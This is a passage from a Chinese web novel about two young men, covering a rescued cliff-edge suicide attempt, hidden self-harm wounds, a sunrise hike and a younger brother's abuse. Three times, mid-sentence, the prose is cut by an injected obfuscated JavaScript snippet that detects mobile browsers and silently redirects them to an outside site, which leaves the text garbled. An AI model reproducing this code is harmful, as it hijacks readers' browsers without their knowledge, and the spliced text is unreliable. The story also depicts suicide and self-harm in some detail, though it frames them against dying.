宋柏坐在那里,慢慢等心头这不合时宜的悸动冷却下来后,告诉了王成琳银行密码,再一次朝后山的悬崖走去。
为了减少等会儿死状的可怕,宋柏回了趟营帐,穿了件外套,又戴了口罩。
后山依然漆黑一片地等着他,宋柏的脚尖重新抵上悬崖,闭上眼,心里默数着倒计时。
五
四
三
二
一没有数出来。
他听到了抽噎声。
转头朝声音的来源处看去,宋柏的视线和一双流着泪的眼睛遇上。
宋柏再一次不合时宜地想,悸动原来是不会冷却的,最多被压制。
压制到下一次遇到那双眼睛时,心脏重新恢复炽烈的跳动。
哪怕下一秒心脏就会被摔成稀巴烂。
一阵风吹来,树林晃动的沙沙声像一阵干燥的雨。
雨声之间,两人同时开口。
“你要跳崖吗?”
“你要跳崖吗?”
江清圆坐在悬崖边,他此时流泪还没有学会不发出声音,张嘴前还要先止住哽咽:“你别跳。”
人这种生物有时候真的很神奇,当你在准备自杀的时候遇见另一个也要自杀的人,第一反应竟然是劝他不要自杀。
江清圆从悬崖边站起来,第二句话还是:“你先别跳。”
宋柏的第二句话是:“怎么哭了?”
江清圆没有回答他的问题,他走到宋柏不远处站定,不敢再往前走。
一张脸上委屈还没褪干净,又浮上新的担心和害怕,就这么瞧过来,宋柏没出息的心脏比刚刚台下跳得都快。
“我也没想跳崖,只是来看看风景。”宋柏不想让那张脸上出现担惊受怕的神色。
“你骗我。”江清圆抬手,掌心向上拂过脸颊和眼角,残留的眼泪被他蹭在手腕上,流下一道倔强的泪痕。
他又往前走两步,就着稀疏月光看到他外套里的初中部校服后,语气急了起来:“你知道悬崖下面是什么吗?这个悬崖下面都是竖着的尖石头,你摔下去,立马就会被戳得千疮百孔,这么高的距离,还不能一下子摔死,要在剧痛中慢慢等血流尽死亡。”
“看到你这样子,到时候你爸爸妈妈该多伤心啊。”
“我妈妈死了。”宋柏说。
这句话像打开了一个闸,巨大的痛苦泄洪般席卷而来,宋柏终于从妈妈死亡的巨大震惊中缓过了神,在江清圆望向自己的那双眼睛里全面崩溃。
妈妈从小是怎么护着他被酗酒赌博的宋强家暴、宋强是怎样在外面一次次出轨嫖/娼、家里是怎样被催债的人给砸的稀碎。
妈妈又是怎样被催债的人捅了十二刀才死,宋强又是怎样见没了老婆给他打三份工还债,懦弱地上吊自杀。
宋柏再没有掩饰自己的怨恨,咬牙切齿地,飞快地倾诉着,将他泄出去的恨,尽数泼向对面的江清圆。
宋柏没有流一滴泪,但却看见,对面江清圆又一次红了眼眶。
泪顺从他眼角涌出,那么急,那么多,一下子浇灭了冲昏宋柏头脑的怨憎。
“对不起。”宋柏道,“别哭了。”
“如果你是我,你还想活下去吗?”宋柏努力朝他笑了笑,“其实说出来已经好很多了,你回去吧,让我自己一个人在这里静静,说不定一会再好些,就回去睡觉了。”
他对这个世
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074087|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
界最后的一点儿温和,是不愿意自己的死亡吓到眼前的人。
江清圆没有摇头,也没有点头,又往前走了一步。
宋柏下意识地往后退了半步,也就是这半步,让脚下悬崖边本就松动的土彻底崩裂。
巨大的失重感一下子传来,宋柏不由自主地向后倒去。
视线上扬的最后一眼,是江清圆努力奔向自己的身影。
就这样,他的手被抓住了。
宋柏被人从悬崖边拉了回来,跌进了一个温暖的怀抱。
那怀抱里有干净的香气,怀抱的主人手托着他的后颈,将他的脸颊摁在自己颈窝间。
宋柏陷在一片没有失重感的,安稳的黑暗里。
人跌进自己怀里时的冲撞力让江清圆跌倒,朝一边滚了几圈才停下来。
他没有站起身,依旧紧紧抱着怀里的孩子,巨大的后怕让他的眼泪怎么也停不下来,只能上气不接下气地说着:“你知道吗,人灵魂的模样就是他死去的那一刻的样子,你跳崖而死,你妈妈那么爱你,看到你千疮百孔的样子,不是又再杀她一遍吗?”
怀里的孩子颤抖了一下,没有说话。
江清圆比他颤抖得更厉害:“先活着嘛,先往前活个几年,不行再自杀又不亏,离悬崖边远了,你才能真正理智的思考,说不行那时候回头看,你就觉得悬崖也不是很大,虽然一直在那里,但也是能跨过去往前走的。”
“你信我,不然到时候你来找我要说法,”江清圆一股脑地说下去,已经不知道在劝怀里的孩子,还是在劝自己,“我欠了债,比你爸爸欠的都多,但也还想活下去。”
“前面有好吃的,好玩的,有山有海有草原天空,说不定还会有好事发生!”
江清圆喃喃道:“如果坏事都被你遇完了,前面总能有一两件好事等着吧,你死在了这个时候,只吃了苦没享受甜,才是大笨蛋呢。”
他能想到的话都说完了,怀里的人还是一动不动,江清圆大脑一片空白,竟是用全力抱住怀里的人,开始耍赖:“你还是要跳崖的话,就带我一起吧!”
反正你力气也没我大。
江清圆闭上眼,准备应对怀里人的挣扎,但没等到挣扎,等来了一句话:“我困了,我们回去睡觉吧。”
抱着自己的力道松开,宋柏从江清圆怀里抬起头来,看见他望向自己的,不明白的呆呆目光。
好像不太聪明。
宋柏于是又道:“我不死了。”
他说完,就见江清圆呆了一下后,笑了起来。
他还流着泪,但嘴角已经扬起,那泪就变成了一粒粒银色的星星,晃得心荡漾起波澜。
江清圆站起身,迫不及待地牵着宋柏往回走。
宋柏看着被他一路牵着的自己的手,手背上一道湿漉漉的泪痕,不知道什么时候蹭上来的。
有风吹来,凉得人心痒。
一直将宋柏交到王成琳手里,江清圆才离开。
“你去哪了?!”王成琳焦急地问他,“还有,突然给我说银行卡密码干什么,还有你让我去帮你买水,我水买回来了你人不见了,什么意思啊?!”
“我出去一下,马上回来。”宋柏没有听见他的话似的,转身又出了营帐。
站在营帐门口白炽灯的灯光下,再次掏出录音笔。
宋柏想将遗书删掉,但摁了一下后,传来的不是遗书的内容。
先是风声,沙沙的,再是虫鸣,生命的迹象似潮水般涌入。
然后是一道明亮骄傲的声音:“老师们同学们好,我是这个话剧的编剧!”
录音笔很便宜,只有一个按键,也只能存放一段录音。
摁一下录音,摁两下删除。
原来在看那场话剧的时候,他就已经不自觉地摁了两下录音笔。
遗书被删除掉,江清圆出来的那一刻,他摁下了第三下。
生命在此长住,死亡无影无踪。
于是那封遗书,就只有他,悬崖,和树林听到了。
宋柏站在那里想,妈妈应该也听到了。
于是他遇见了江清圆。
14. 14
“是你!”江清圆睁大了双眼,不由自主想伸出手触摸眼前这双久别重逢的眼睛,随即又觉得不礼貌,指尖即将落到宋柏眉尾的时候收了回来。
此时应该要说些什么,江清圆心里高兴,嘴上却说不出来,唇张了又张,最终化为了真心为宋柏开心的笑容。
他想,宋柏妈妈在天上看见此时这么优秀的他 ,看见他肉眼可见的光辉灿烂的未来,不知道会有多欢喜!
“一直想问,当年为什么哭?”宋柏时隔多年,问出了那晚没来得及问的问题。
江清圆脸上的笑容淡了淡,因为宋柏盈满着开心的眼睛里,难过在深处渐渐暗潮汹涌。
“我当时被保送到了电影学院,”江清圆语气随意,像是提起一件随便的小事,“但我妈妈不同意,就不让我去。”
他是在自己的话剧上台表演前接到电影学院招生办的电话的:“江清圆同学你好,你的作品我们都已经收到并阅览过,经过调研,也了解到你的一些剧本有销售到各大小剧院,演出后皆反响不错。”
“经过我校戏剧影视文学专业老师们的开会研究,”江清圆双手握紧电话,贴在耳边,听见对面人的声音里渐渐染上笑意,“一致认为你在剧本写作方面有着优秀的天赋和不俗的体现,因此想和你与你进行提前签约录取。”
“不必再经过校考,如果你明年高考分数线到了去年我校戏文专业的最低录取分数线,就能入学我校。”
舞台的后台不似前方光亮,暗稠的阴影下,江清圆抬起头,看向遥远夜空上的星河。
无数的星星在他眼里像烟花一样绽放开,映着江清圆亮闪闪的眼睛,和心底咕噜噜的泡泡。
“我愿意签订。”江清圆张嘴,嗓子有些哑,一摸脸颊,才发现流泪了。
“好,那进一步我们下个星期到你学校和你细谈,”对面温柔的女声接着道,“但也要继续努力,毕竟咱们学校是全国最好的艺术院校,戏文专业一年也只收20个学生,文化课分数线不比好的综合类大学低哦。”
江清圆用力地点头,点完头,才反应过来他们现在是在打电话,又大声地道:“好!”
江清圆想,他当时是真开心啊,以为笼罩在自己身上漫长的过去终于到了尽头,只要他愿意,就能踏上前方光芒万丈的舞台,够星子发光,让未来每一个夜晚都不再黑暗。
直到他接到兰盛莲的电话。
“电影学院的招生办给你打电话了?”兰盛莲手机那头的声音一如往常冷淡,“恭喜啊。”
江清圆当时被喜悦冲昏了头脑,以为手机那头是真心的恭喜,受宠若惊地笑着回道:“谢谢妈妈!”
“对了,你有多久没有去看看你哥哥了?”
江清圆笑容僵硬在了脸上。
“你可以去帝都上电影学院,你哥哥可是再也走不出涧州了。”
“但是我最后还是去了, ”江清圆这些都没给宋柏说,“我文化课分数超了录取分数线50分呢。”
宋柏看着他薄薄一层的笑容。
所以为什么还是休学了呢?
“那你现在的剧本一定更多人喜欢了?”宋柏没有问出来,他伸手将江清圆拉起来,问了另一个问题。
“哦,我现在不写那种剧本了。”江清圆低头拍着裤子上的土和树叶,随意地将从前自己努力写的本子总结为“那种剧本”。
他低着头,宋柏只能看见他低垂的眼睫,看不清他眼中的神色:“我现在写的都是抗日神剧那种剧本,你只能在吐槽视频里看见我。”
江清圆抬头,眼中一片坦然的笑意:“虽然没人看,但是很赚钱。我不是给你说过,我欠着债的嘛。”
宋柏问:“那还清了吗?”
江清圆用力低点头,眼睛中有真切地期盼:“马上就要还清了。”
他不愿意再多说,扯开话题:“看起来没法从这个坡爬上去,我们得找找其他回去的路了。”
宋柏朝他们滚下来的坡上看去,一眼看不到尽头。
就算有点缓,但到底是个遵守地心引力的坡,宋柏还可以,江清圆的体力,肯定是爬不上去的。
就算爬上去,也不知道偷猎的男人在没在那里等着他们。
宋柏拿出手机一看,六点三十七分了,视线往上一扫,果然如他料的,没有信号。
再一看天色,已经开始变蓝了。
“信我吗?”宋柏收起手机,回头看江清圆。
江清圆点了点头。
他话音落,手就被牵住了。
宋柏以一种不容置喙的力度,将他的整只手,握在了掌心里。
“跟着我走。”江清圆听见宋柏道,“我带你出去。”
江清圆犹豫了一下,终究没有抽出手。
他说过相信宋柏的。
宋柏环视了一圈,领着江清圆朝北走去。
他走在前面给江清圆开路,走着走着,只觉得掌心里的手跟捂不热似的,愈发地冰凉。
一回头,就见江清圆低垂着头,摇摇晃晃地跟在他后面。
宋柏拉了拉他的手,毫无反应。
心里一惊,宋柏伸手摸了摸他额头。
滚烫一片。
江清圆罕见地不知道自己发烧了,他被宋柏牵着,只觉得脑子越来越沉,以为是今天又爬又跑,累过了头。
牵着他的手可靠而有力,让江清圆不由自主地就低了头,闭上眼皮,想歇歇自己酸胀的眼睛。
一直到额头上落下一只手,江清圆才迷迷糊糊重新撑起滚烫的眼皮,看向宋柏,从喉咙里含糊地发出一个带问号的嗯。
可怜死了。
宋柏摸着他额头的手移到他腰上,扶着他的腰将人背到了背上。
背上的人轻得像不存在,只有贴在他颈边的滚烫脸颊证明着自己不是一张纸。
宋柏托着他的手紧了紧,稳稳地朝逐渐浓厚地夜色里走去。
不知走了多久,耳边的溪水声逐渐清晰,又走了几步,眼前豁然开朗。
他们下午见到的那条小溪重新出现在了宋柏眼前。
虽然不是他们去过的方位,但找到小溪后,沿着水一直往下走,肯定是山脚的方向。
宋柏这才放下心来。
颈侧的呼吸越来越烫,宋柏一直走到小溪边,将江清圆从背上抱进怀里,坐了下来。
江清圆已经烧得神志不清,乖乖地任由他动作,宋柏先从自己裤子口袋里掏出随身携带的退烧药,又随手折了片宽大的叶子,舀了一点溪水,将一片退烧药放进里面。
宋柏像喂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074088|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猫似的,另一只手掐着江清圆脸颊两侧的软肉,一用力,江清圆就乖乖张开了嘴,让宋柏很顺利地将叶子里的药片就着水送进了他喉咙里。
指尖的触感太好,宋柏泄了力道后,又忍不住揉捏了一下江清圆脸颊的软肉。
江清圆不舒服地撇开头,他不满地呢喃道:“小姨!”
记忆里,只有兰盛梅这样亲昵地抱过他,江清圆意识混乱间,下意识将宋柏当成了小姨。
宋柏愣了一下。
人在怀里比在背上显得更轻,腰细得臂弯里还能再放下两个,宋柏搂紧了,弯下身子,唇靠近江清圆耳边,抵着那点软肉,才暴露了本性,一字一句地道:“我是你老公。”
江清圆不适应地皱了皱眉,抬手一巴掌拍在了宋柏脸上,想将他推远点。
力道不大,宋柏只感觉到一阵柔柔的麻,他反手握住了那只手。
江清圆的手很好看,细白修长,指甲被他修剪的很整齐,整只手泛着干净的光泽,握在手里一片细腻柔软的触感,宋柏忍不住揉捏了好几下,才将它重新塞进自己怀里。
塞完了又抬手碰了碰江清圆的眼皮。
薄薄的眼皮刚哭完,又赶上发烧,宋柏落下去,指尖的热烫得他心尖发酸。
刚刚那点狠劲化为一声长长的叹息,四下无人的荒野里,宋柏趁着江清圆浑然不知,才敢说出那个在心头滚了千万次的称呼:“我们圆圆难受的话,一定要说出来。”
说完顿了顿,又低声道:“对不起。”
他来得太晚了些。
江清圆脸又往他温暖的怀里缩了缩。
宋柏看得心软成一片,看见他脸颊上还沾着灰,想到江清圆平时爱干净得厉害,就想拿纸给他擦擦。
一摸自己口袋,除了中午放进去的一个小录音设备外,并没有纸。
宋柏又摸了摸江清圆口袋,果然他带着纸。
伸进江清圆口袋,宋柏很轻松地掏出了一袋手帕纸。
但随着手帕纸一道掉出来的另一个东西,让宋柏当场愣在了那里。
良久,他颤抖地伸出手,将那东西从草地间拾了起来,举到了眼前。
刀片金属的表面在月光下反射着银色的光。
这是最普通的刀片,文具店五块钱一盒,深受学生们喜欢。
因为它足够锋利。
触电似的,宋柏将刀片扔放到一边,去拉怀里江清圆的手臂。
月光下,江清圆两条手臂莹白一片,没有一丝受过伤的痕迹。
放下手臂,宋柏的手又去掀开他腰间的衣服,纤细的腰同样如此。
宋柏悬起的心放下一点,可能真是他疑神疑鬼了,宋柏仔细将江清圆腰间的衣服重新卷回去。
整理到衣摆的时候,他臂肘不小心蹭过江清圆小腿。
下一秒,江清圆一整个人就像被抽了虾线的虾,瞬间绷紧又弯曲,在他怀里蜷缩了起来,额间一瞬间涌出无数冷汗。
宋柏像是被吓到一样,手僵在半空,任江清圆在自己怀里发出痛苦的呻/吟。
不知过了多久,宋柏缓缓放下手。
他很轻很轻地卷起了江清圆的裤脚。
清亮的月光下,江清圆的小腿新伤叠着旧划痕,血肉模糊,看不见完整的皮肤。
15. 15
宋柏不知道自己怎么将手落到江清圆小腿上去的,轻轻一碰,就有血珠蹭到了他指尖上。
那是很新的划痕,还没来得及愈合,就又随着江清圆的走动反复撕裂流血。
宋柏突然有些无法呼吸,他展开一张纸巾,轻轻敷在了江清圆小腿上,不到一分钟,纸巾上就染上了十几道长长的血痕。
每一道血痕都代表着一道崭新划痕,三天之内的崭新划痕。
将沾满血痕的纸拿起来,叠好放进口袋里,宋柏轻轻将江清圆裤脚放下去,沉沉吐出一口气,忽然很想抽根烟。
他没有烟瘾,只有感到穷途末路而无处发泄时,才会想抽。
比如两年前团队刚成立,四处拉不到投资的时候。
再比如此时。
怀里动了动,宋柏低头看去,江清圆迷迷糊糊从他怀里抬起头来——刚刚的剧痛让他从高烧中短暂清醒了过来,一双眼睛湿漉漉地睁开,与宋柏对视上。
看向自己的眼睛一动不动,江清圆看到宋柏漆黑的瞳孔深处,竟有一丝歉意,但更多的,波涛般汹涌的其他感情,江清圆太过陌生,看不明白。
“我们是要死了吗?”江清圆懵懵然地问。
他头疼得厉害,嗓子眼里像含了块燃烧的炭,浑身却泛冷,只有贴着宋柏身子的半边暖和。
冰火两重天下,理智摇摇欲坠,只能全部用来克制住自己别再往宋柏怀里更深处钻,嘴巴说了什么,脑子实在来不及管。
说完就看见宋柏笑了笑,波涛一卷,那歉意和他看不懂的感情全被淹没进眼底深处:“没有,我们马上下山。”
他不准备再歇,就要抱起江清圆继续往山下走。
却被江清圆拉住了胳膊。
江清圆实在不好意思为了那点温暖,贪婪地赖在宋柏怀里。他撑着宋柏站起了身,四下望了望,周围景物淡在黑夜里,比白天更显宽阔,溪水听起来,像流在草原上。
抬头星空一望无际,一时天地间仿佛只剩下了他们两个人,想去哪都可以。
江清圆脑子还没上工,嘴巴就这么把心里话说了出来:“我想上去看看。”
说完就后悔了。
这实在是个很任性的想法,且不说现在是深夜,山下吴家兴的情况还不确定,就算他很幸运,现在安全了,也一定很担心他们两个人。
而且几个小时前宋柏刚抱着他从山坡上滚下来,又背着他走了这么久。
真是被发烧冲昏了脑子。
指尖抵上衣摆,江清圆有点难为情地低下头,等着宋柏拒绝,然后下山。
就见宋柏站起身,朝他走了一步。
等两人挨得足够近,江清圆还没来得及反应,额头上就落下了一个手背。
药效发挥得很快,已经没有刚刚那么烫了,宋柏一触即分,看着他:“其实这里离山顶已经不远了。”
看着江清圆略微震惊的眼睛,宋柏慢悠悠地道:“山顶上有个信号塔,但很久远了,所以信号不怎么好,但总归是有的。我们往上走,其实比往下走能更快联系到吴家兴。”
这也是他往这个方向走的原因,如果江清圆没有发烧,宋柏本来的打算就是往上走走,最起码先联系到吴家兴,看看他是不是平安。
但此时看着江清圆,宋柏想,他是不是还没有看过日出。
“而且,往上走后再下来,”宋柏微微一笑,“我可以保证在九点前把你带回民宿,不耽误吃早餐。”
他这话说得实在是气定神闲,仿佛他们两个人此时不是在深山老林里,而是在哪条随时能打到车的大街上。
“是有什么定律吗?”江清圆一下子被震住了,不免怀疑他有什么科学理论做依据。
宋柏重新在他身前蹲下,将后背面向他,示意他趴上来:“嗯…有的。”
“我还是自己走吧。”江清圆下意识地拒绝。
宋柏回头看了看他:“不要背着,是想抱着?”
江清圆愣在原地,可以和地球比周长的反射弧在此刻终于走到尽头,他迟钝地想着,眼前的人好像没有自己觉得的那么……老实。
“定律是什么?”江清圆最终还是乖乖趴到了宋柏背上,被他背着朝山上走去。
“叫宋柏定律。”宋柏声音平静得像这四个字真出现在过在哪本教科书上一样。
江清圆:“……”
“你耍我玩?”他就是再不聪明,也不能那么不聪明吧?
“那真的不是,”宋柏声音继续四平八稳地一本正经,“宋柏定律第一条——”
“宋柏随时可以被召唤,且永远可靠。”
“所以我说能让你九点前吃上早餐,你就能吃上早餐,不信你等会儿可以看看,”宋柏感受着耳畔的呼吸,轻声道,“在别的地方也同样有用,欢迎验证。”
江清圆不想接他这话,下巴枕在他肩膀上,沉默了下来。
宋柏走得很稳,肩膀又宽,下巴枕在上面跟枕着个枕头一样,江清圆心里发誓不会再睡过去,但再一睁眼,就已经到了山顶。
看见山顶上矗立的矮矮的信号塔,江清圆掏出手机一看,惊喜道:“有信号了!”
灰色的信号栏上,终于有了5G的标识。
从宋柏背上下来,江清圆朝信号塔旁看去,眼前的山顶上没有多少杂树,只有最中央,一棵粗壮的古树拔地而起,高高的树干上,树冠密实的像朵密不透风的云,随风结实地响着。
他身旁,宋柏打开手机,随着信号满格而来的,是吴家兴打来的二十多通未接电话,和无数的微信消息。
【高冷的荆棘鸟】我已安全!你们呢?
【高冷的荆棘鸟】报警了报警了!
【高冷的荆棘鸟】偷猎的被抓住了,有信号了给我发个消息!
【高冷的荆棘鸟】没事吧?再不回我就让警察去找你们了!
……
宋柏想了想,回复:
【。】安全着,我们在山顶,不用麻烦警察,天亮了就回去。
回复完关上手机,江清圆已经走到了树边,宋柏跟过去,拍了拍他的肩膀,让他看身后。
江清圆转过身,呼吸不由得一滞。
刚刚还是漆黑一片的天空,现在已经开始泛红,遥远的天际,橙红的云铺成一条长长的绸带,涨潮一般,向他们这边漫来。
江清圆低头一看手机,原来已经四点了。
时间在这抹灼眼的红里过得飞快,还没细细体会橙红,大片的紫色就迫不及待地从天际更深处奔了出来,它们简直是喷涌而出的,几个眨眼的工夫,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074089|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
半边天都染上了这绚烂的颜色。
一轮红日就从这红紫交织的云层身后 ,从容矜持地升出了它庞大的轮廓。
黑夜无所遁形,败军般溃散去。
江清圆站在那里,人生第一次与太阳,如此清晰,毫无遮挡地照面。
他们之间不必再被层层叠叠的楼层稀释,只能隔着城市小小的窗户互相窥见。
有轻柔的光落在肩膀上,慢慢将他全身都包裹了进去,这是独属于清晨太阳的温柔,甚至还带着些清凉,但江清圆却感觉常常从骨髓深处泛出的冷意,都被这光给照暖了。
江清圆一动不动,一双眼睛睁得大大的,贪婪地想将此时此刻的每一秒都事无巨细地记下来,高高挂进他空荡荡的美好回忆那一栏。
宋柏不知道他脑子中乱七八糟地想法,只静静站在他身边,没有看太阳,侧过头看着他亮晶晶的眼睛。
最终用了好大力气,才克制住自己的贪婪,江清圆收回视线,给宋柏指了指前面:“你看前面,有没有很熟悉?”
宋柏听他的话朝前方看去,山顶尽头,是空茫茫的山谷,山谷对面,一座稍矮的山静静立着。
在日出下挺好看的,但实在说不上熟悉。宋柏摇了摇头。
江清圆带着他往前面站了站,没有继续卖关子:“如果我没记错,那座山应该就是隐秀山。”
他们中学时代素质拓展的地方。
江清圆也是刚刚在溪边醒了后才想起来的,继而生出了想上来看看的想法。
“你没有看到那个悬崖吗?”江清圆问,“虽然就一点点,但仔细看还是能看到的呀。”
宋柏又仔细看了看,只能看到隐秀山清晨新鲜的绿。
那个多年前的悬崖,并没有出现在他的视线里。
“算了,”江清圆也不是非要他看见,他朝宋柏伸出手,“你口袋里不是还有个小的录音设备。”
宋柏拿出来递给了他。
设备很小也很简单,江清圆转身重新走到古树边,抬手将设备的接触器插进了树干之间,又将耳机递给了走近的宋柏。
宋柏戴上去,霎时就被树叶摇摆的婆娑声包围了,清晨的风不够大却足够清新,树叶似乎也能感受到,摇动得相当轻快鲜活。
不同于大风中的酣畅淋漓,这是一种能让人想到清晨的包子店、傍晚的城市晚霞,从而令人生出好好生活念头的声音。
树叶轻柔的哗啦声中,宋柏还听到了水滴声,他惊诧地抬头望去,看见有露水在清晨阳光的照射下,从一片叶子掉到另一片叶子上。
是太阳燃烧的声音。
江清圆在他旁边站着,一直看着太阳完全露出它巨大的身影,将天际粉紫色的朝霞烧成醉人的蓝,渐渐除了树影,鸟鸣也开始出现,大地开始全面苏醒。
录了很久后,宋柏才将耳机摘下。
“也算完成了作业不是?”江清圆眼睛弯弯地看着他,觉得自己总算没有辜负助理这个身份。
“给它取个名字吧。”宋柏轻声道。
他们每一段采来的音频都有名字。
江清圆站在晨曦的蓝调里,没有思考多久,说:“那就叫《先别跳下那个悬崖》怎么样?”
先别跳下那个悬崖,才能看到明天升起的太阳呀。
16. 16
江清圆和宋柏回到民宿的时候,正好八点半。
吴家兴头上围着厚厚的纱布,像个阿拉伯人似地冲了过来,以江清圆和宋柏为圆心绕着一顿叽里咕噜:“老天奶我真服了,你们还真不屈不挠,还有心情去山顶!”
“警察刚走,黑麂可是一级保护动物,那家伙算是情节严重了,”他举起一只手,眼里闪烁着正义伸张后的兴奋,“警察说五年到十年,还有罚款!”
江清圆听到坏人被抓也很高兴,高兴过后又担心地看向吴家兴额头上富裕的纱布:“你磕到头了?很严重吗?”
“死不了,”吴家兴快乐地接受了他的关心,两只手煞有介事比划了一个大圈,“不过是英勇逃窜的时候,被这么粗的一个树枝刮到了而已。”
宋柏受不了他这么胡扯引得江清圆担忧,冷笑一声:“破皮了吗,创口有多大,一角硬币还是一块硬币。”
“我看着他缠的,有个五毛硬币那么大吧!”旁边有客人插嘴道。
现代人无聊的生活里,遇见偷猎实在是个大事,吴家兴回来没五分钟,民宿的客人几乎就全知道他智斗邪恶偷猎者的故事了。小院里此时还有不少看热闹的客人。
“擦伤也是伤!”吴家兴蹦起来,跳着跟他们进了大厅,“而且我刚刚给你发的那么多消息你怎么不回,我不信某人给你发微信你会不回……哎呀!”
吴家兴凭着出色的腰力,将头从抢地的悲剧中拯救了回来,他怨念地往前看,宋柏已经收回了腿,跟在江清圆身边,只给他留了一个冷冰冰的背影。
宋柏和江清圆回到屋子,自然是先洗漱,江清圆有工作上的东西要处理,让宋柏先去洗。
宋柏洗完后出来,就看见自己床尾多了好几样东西,床边还有一个小板凳,上面坐着一个端端正正的江清圆。
“打沐浴露了吗?”江清圆见他出来,问。
宋柏摇了摇头。
江清圆就满意地笑了,宋柏洗澡前,他特意嘱托的,不让他用沐浴露。
“你身上有擦伤,不适合涂沐浴露,”江清圆伸手拍了拍床尾,“用清水冲干净伤口就好,过来坐,我给你上药吧。”
他这话说得气定神闲,一颗心却七上八下,生怕宋柏拒绝。
但这一天在宋柏背上移上山又移下去的,江清圆实在无以为报,但又想报,脑袋里的风力发电机转呀转,转出了这么个主意。
虽然给人上药这件事情很微小,但勿以微小而不报嘛。
宋柏没有说好也没说不好,走过来问:“烧退了?”
江清圆被他身上从浴室带出来的热气烫了烫,整个人微不可见地往后缩了缩,点了点头。
宋柏听见这话,才和床尾的碘伏绷带以及棉签等乱七八糟的东西坐到了一起。
江清圆熟练地拉过他一只手,一只手拧开碘伏瓶子,一只手拿棉签往里沾了沾,落到宋柏胳膊擦伤的中心,轻柔转着圈往外擦去。
“你经常给别人处理伤口吗?”宋柏问。
“我弟弟小时候老有磕磕碰碰,都是我帮他处理的,”江清圆俯下身子,朝宋柏的伤口吹了吹,语气里真不由自主地带上了安抚小朋友的温柔,“疼吗?疼的话要给我说哦。”
“不疼。”宋柏指尖蜷缩了一下,听见这话没觉得骄傲,只觉得心酸。
那时候江清圆才多大,宋柏根据兰盛梅的话推测着,应该才十五六岁?
总觉得不该是他哄别人,该是他被别人哄着。
江清圆不知道宋柏心里的想法,他低头专心处理着伤口,宋柏胳膊上的伤不多,两条胳膊江清圆十多分钟就包扎完了。
“胳膊好啦!”江清圆笑着宣布,他看了看床尾,他叫外卖的时候往多了叫,每一种药都买了两瓶,现在看来一瓶都用不完。
举着碘伏瓶,江清圆拿起新棉签,认真让宋柏翻面:“把上衣脱了,我看看后背。”
宋柏:“……”
这简直是折磨,宋柏难得无措:“不用了吧。”
江清圆看他的眼神像他才是那个发烧要把脑子烧坏的人:“哪有人上药上一半的?”
宋柏顿了再顿,面对江清圆越来越疑惑的眼光,还是解开了睡衣纽扣。
转过了身子。
下一秒,宋柏就感受到江清圆温热的呼吸撒到了自己背上。
“不会多疼的哦,别紧张。”江清圆刚俯下身,看见宋柏后背的肌肉抽搐了一下,连忙道。
落在背后的指尖柔软微凉,让他喉头发紧,放在腿上的手不由自主地握紧,陷入不可抑制的生理反应,一颗心又因为听见江清圆下意识哄人的声音,泛起无力的酸楚。
这样的煎熬下,宋柏闭了闭眼,用别的转移注意力:“你弟弟很调皮吗?”
江清圆纵然再想替江耀遮掩,也不得不承认他有些太皮了:“嗯,有点。”
他上高中后,正赶上江耀最调皮的时候——他被兰盛莲和江铸宠得无法无天,竟染上了在幼儿园和别人打架的毛病。
江清圆十回去兰盛莲家里给他做饭,八回能见他身上带着伤。
五六岁的江耀脾气已经很大了,加之年纪小皮肉嫩,阿姨给他上药的力度有时控制不住,弄疼了他,他就不愿意再让阿姨碰。
江清圆总不能看着他身上留下乱七八糟的疤,只能自己亲自给他上药。
江耀最喜欢江清圆给他上药了。
江清圆会很温柔地拉着他的手,怕他疼,沾着碘伏的棉签在他伤口上转一圈,就会低头给他吹吹。
江耀有时候为了让他多给自己吹吹,会故意喊疼。
喊得大声了,江清圆就会很慌张,鼻子都皱起来,将药放一边,将他抱在怀里哄上好一会儿。
江耀喜欢被他抱着,江清圆身上有一股和妈妈完全不同的,但足够温暖的香味,让他留恋。
唯一不好的是,兰澈老是会出现在他们周围,对着他冷笑:“你就装吧!”
江清圆听到后,就会很温柔地劝兰澈不要这么说。
江耀心里讨厌兰澈,不想让江清圆搭理她,就双手搂住江清圆的脖子,熟练低下头,狠狠地咬在他肩颈上。
江清圆每回被他这样咬住,就像被施了定身咒,一下子不会动了,良久才会抬手慢慢安抚地拍着他脊背,细声细语地恳求道:“耀耀松口好不好?哥哥好疼。”
他只是说着,却不上手阻止,等江耀自己咬够了松开手,江清圆才会把他放回沙发上,当做什么都没发生那样,继续颤抖着手温柔地给他上药,吹伤口。
兰澈看不下去,走过来对江清圆大声道:“哥,他都是装的!”
江清圆低着头,没有回答。
